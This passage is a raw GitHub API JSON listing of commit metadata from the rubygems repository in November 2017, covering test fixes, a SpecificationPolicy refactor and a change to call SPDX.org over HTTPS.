`Hash#[]''.","tree":{"sha":"57cb7b988a9098610e6ec0a89ba972e9e23a73c5","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/57cb7b988a9098610e6ec0a89ba972e9e23a73c5"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4619f13a33642b132ebcc4e82772d89b4bcff0d3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4619f13a33642b132ebcc4e82772d89b4bcff0d3","html_url":"https://github.com/rubygems/rubygems/commit/4619f13a33642b132ebcc4e82772d89b4bcff0d3","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4619f13a33642b132ebcc4e82772d89b4bcff0d3/comments","author":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"committer":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"parents":[{"sha":"ac7d289670551d2ddcfea82ae482daaea2b4e938","url":"https://api.github.com/repos/rubygems/rubygems/commits/ac7d289670551d2ddcfea82ae482daaea2b4e938","html_url":"https://github.com/rubygems/rubygems/commit/ac7d289670551d2ddcfea82ae482daaea2b4e938"}]},{"sha":"ac7d289670551d2ddcfea82ae482daaea2b4e938","commit":{"author":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-24T02:35:52Z"},"committer":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-25T17:19:38Z"},"message":"Test setup command binstubs regeneration\n\n Since 909b5fb8, executable wrappers are regenerated using pristine\ncommand if any gem are installed. New test is inspired by those for\nGem::Commands::PristineCommand.","tree":{"sha":"9f557a2b26ce18297a9eff0406e31edd99f1db59","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/9f557a2b26ce18297a9eff0406e31edd99f1db59"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ac7d289670551d2ddcfea82ae482daaea2b4e938","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ac7d289670551d2ddcfea82ae482daaea2b4e938","html_url":"https://github.com/rubygems/rubygems/commit/ac7d289670551d2ddcfea82ae482daaea2b4e938","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ac7d289670551d2ddcfea82ae482daaea2b4e938/comments","author":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"committer":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"parents":[{"sha":"4a045965772dad721de67d67a7c477a690110eba","url":"https://api.github.com/repos/rubygems/rubygems/commits/4a045965772dad721de67d67a7c477a690110eba","html_url":"https://github.com/rubygems/rubygems/commit/4a045965772dad721de67d67a7c477a690110eba"}]},{"sha":"4a045965772dad721de67d67a7c477a690110eba","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-25T15:30:12Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-25T15:30:12Z"},"message":"Auto merge of #2098 - tjouan:test-command-common_options-mutation_workaround, r=segiddins\n\nWorkaround common options mutation in Gem::Command test\n\n We need to restore common options if we want to execute commands using\nsuch options in other tests. For example, if a test runs a command with\n`--silent` option, we get this kind of error:\n\n OptionParser::InvalidOption: invalid option: --silent","tree":{"sha":"d1edb62fd02832bfe31aa15bfd06d1246b660252","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d1edb62fd02832bfe31aa15bfd06d1246b660252"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4a045965772dad721de67d67a7c477a690110eba","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4a045965772dad721de67d67a7c477a690110eba","html_url":"https://github.com/rubygems/rubygems/commit/4a045965772dad721de67d67a7c477a690110eba","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4a045965772dad721de67d67a7c477a690110eba/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"afbae04038d3d1d1ed8988c703314c81f7fb651e","url":"https://api.github.com/repos/rubygems/rubygems/commits/afbae04038d3d1d1ed8988c703314c81f7fb651e","html_url":"https://github.com/rubygems/rubygems/commit/afbae04038d3d1d1ed8988c703314c81f7fb651e"},{"sha":"a1336fa534c15f11f55da7d6b042b823d1526131","url":"https://api.github.com/repos/rubygems/rubygems/commits/a1336fa534c15f11f55da7d6b042b823d1526131","html_url":"https://github.com/rubygems/rubygems/commit/a1336fa534c15f11f55da7d6b042b823d1526131"}]},{"sha":"afbae04038d3d1d1ed8988c703314c81f7fb651e","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-25T14:58:19Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-25T14:58:19Z"},"message":"Auto merge of #2102 - olleolleolle:fix/2100-fix-only, r=segiddins\n\nCall SPDX.org using HTTPS\n\nThis PR **updates the URL** to the web site which hosts all the **SPDX license definitions,** in the script which creates the Ruby file with the license names.\n\n- fix bug\n- re-generate `licenses.rb`\n\n(This is #2100 without additional edits.)","tree":{"sha":"ab972648eaeb9fd8b69a5b4dca00e476580fca9c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ab972648eaeb9fd8b69a5b4dca00e476580fca9c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/afbae04038d3d1d1ed8988c703314c81f7fb651e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/afbae04038d3d1d1ed8988c703314c81f7fb651e","html_url":"https://github.com/rubygems/rubygems/commit/afbae04038d3d1d1ed8988c703314c81f7fb651e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/afbae04038d3d1d1ed8988c703314c81f7fb651e/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"8c091b68c7dd29205f4318f4c6724a164b4ef830","url":"https://api.github.com/repos/rubygems/rubygems/commits/8c091b68c7dd29205f4318f4c6724a164b4ef830","html_url":"https://github.com/rubygems/rubygems/commit/8c091b68c7dd29205f4318f4c6724a164b4ef830"},{"sha":"f099938f80f85a7238b55c6694e5547d82a5049e","url":"https://api.github.com/repos/rubygems/rubygems/commits/f099938f80f85a7238b55c6694e5547d82a5049e","html_url":"https://github.com/rubygems/rubygems/commit/f099938f80f85a7238b55c6694e5547d82a5049e"}]},{"sha":"f099938f80f85a7238b55c6694e5547d82a5049e","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-25T13:31:24Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-25T13:31:24Z"},"message":"Call SPDX.org using HTTPS","tree":{"sha":"ab972648eaeb9fd8b69a5b4dca00e476580fca9c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ab972648eaeb9fd8b69a5b4dca00e476580fca9c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f099938f80f85a7238b55c6694e5547d82a5049e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f099938f80f85a7238b55c6694e5547d82a5049e","html_url":"https://github.com/rubygems/rubygems/commit/f099938f80f85a7238b55c6694e5547d82a5049e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f099938f80f85a7238b55c6694e5547d82a5049e/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"8c091b68c7dd29205f4318f4c6724a164b4ef830","url":"https://api.github.com/repos/rubygems/rubygems/commits/8c091b68c7dd29205f4318f4c6724a164b4ef830","html_url":"https://github.com/rubygems/rubygems/commit/8c091b68c7dd29205f4318f4c6724a164b4ef830"}]},{"sha":"51568cf1e7041916096a1bf73f83a2e8feb7e71f","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-25T11:34:03Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-25T11:34:03Z"},"message":"Revert name extraction","tree":{"sha":"fb9e1d2202b83f88a823c31eb7e07e50568fc007","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/fb9e1d2202b83f88a823c31eb7e07e50568fc007"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/51568cf1e7041916096a1bf73f83a2e8feb7e71f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/51568cf1e7041916096a1bf73f83a2e8feb7e71f","html_url":"https://github.com/rubygems/rubygems/commit/51568cf1e7041916096a1bf73f83a2e8feb7e71f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/51568cf1e7041916096a1bf73f83a2e8feb7e71f/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"70a86c7528a7924872072fb885a4bb529d50912b","url":"https://api.github.com/repos/rubygems/rubygems/commits/70a86c7528a7924872072fb885a4bb529d50912b","html_url":"https://github.com/rubygems/rubygems/commit/70a86c7528a7924872072fb885a4bb529d50912b"}]},{"sha":"70a86c7528a7924872072fb885a4bb529d50912b","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-25T09:03:10Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-25T09:03:10Z"},"message":"Add specification_policy.rb to Manifest.txt","tree":{"sha":"d1728a61397bdee23f214b07de99616e82631a66","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d1728a61397bdee23f214b07de99616e82631a66"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/70a86c7528a7924872072fb885a4bb529d50912b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/70a86c7528a7924872072fb885a4bb529d50912b","html_url":"https://github.com/rubygems/rubygems/commit/70a86c7528a7924872072fb885a4bb529d50912b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/70a86c7528a7924872072fb885a4bb529d50912b/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"85cabed4fbc3274ad63335efd141c052e56db3dc","url":"https://api.github.com/repos/rubygems/rubygems/commits/85cabed4fbc3274ad63335efd141c052e56db3dc","html_url":"https://github.com/rubygems/rubygems/commit/85cabed4fbc3274ad63335efd141c052e56db3dc"}]},{"sha":"85cabed4fbc3274ad63335efd141c052e56db3dc","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-24T21:50:03Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-24T21:50:03Z"},"message":"Specification: keep 3 public existing methods","tree":{"sha":"bce5e723b2ddeee5603ad1177b6a04b0402583f9","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bce5e723b2ddeee5603ad1177b6a04b0402583f9"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/85cabed4fbc3274ad63335efd141c052e56db3dc","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/85cabed4fbc3274ad63335efd141c052e56db3dc","html_url":"https://github.com/rubygems/rubygems/commit/85cabed4fbc3274ad63335efd141c052e56db3dc","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/85cabed4fbc3274ad63335efd141c052e56db3dc/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"adcbfdcb5f2c4e8392f01f56c6e521c268815c1e","url":"https://api.github.com/repos/rubygems/rubygems/commits/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e","html_url":"https://github.com/rubygems/rubygems/commit/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e"}]},{"sha":"adcbfdcb5f2c4e8392f01f56c6e521c268815c1e","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-24T21:31:43Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-24T21:31:43Z"},"message":"SpecificationPolicy","tree":{"sha":"fced0063d0cc20b613d43da01d03789a113405fe","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/fced0063d0cc20b613d43da01d03789a113405fe"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e","html_url":"https://github.com/rubygems/rubygems/commit/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"9c7702320330ccc67408755c8df0372d4d764e61","url":"https://api.github.com/repos/rubygems/rubygems/commits/9c7702320330ccc67408755c8df0372d4d764e61","html_url":"https://github.com/rubygems/rubygems/commit/9c7702320330ccc67408755c8df0372d4d764e61"}]},{"sha":"9c7702320330ccc67408755c8df0372d4d764e61","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-24T19:36:36Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-24T19:36:36Z"},"message":"Specification: Extract validation methods","tree":{"sha":"e61d0b54e6ed28595b084a79ba6d273d1778a5c8","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e61d0b54e6ed28595b084a79ba6d273d1778a5c8"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/9c7702320330ccc67408755c8df0372d4d764e61","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/9c7702320330ccc67408755c8df0372d4d764e61","html_url":"https://github.com/rubygems/rubygems/commit/9c7702320330ccc67408755c8df0372d4d764e61","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/9c7702320330ccc67408755c8df0372d4d764e61/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"8c091b68c7dd29205f4318f4c6724a164b4ef830","url":"https://api.github.com/repos/rubygems/rubygems/commits/8c091b68c7dd29205f4318f4c6724a164b4ef830","html_url":"https://github.com/rubygems/rubygems/commit/8c091b68c7dd29205f4318f4c6724a164b4ef830"}]},{"sha":"a1336fa534c15f11f55da7d6b042b823d1526131","commit":{"author":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-24T03:46:51Z"},"committer":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-24T14:19:30Z"},"message":"Workaround common options mutation in Gem::Command test\n\n We need to restore common options if we want to execute commands using\nsuch options in other tests. For example, if a test runs a command with\n`--silent'' option, we get this kind of error:\n\n OptionParser::InvalidOption: invalid option: 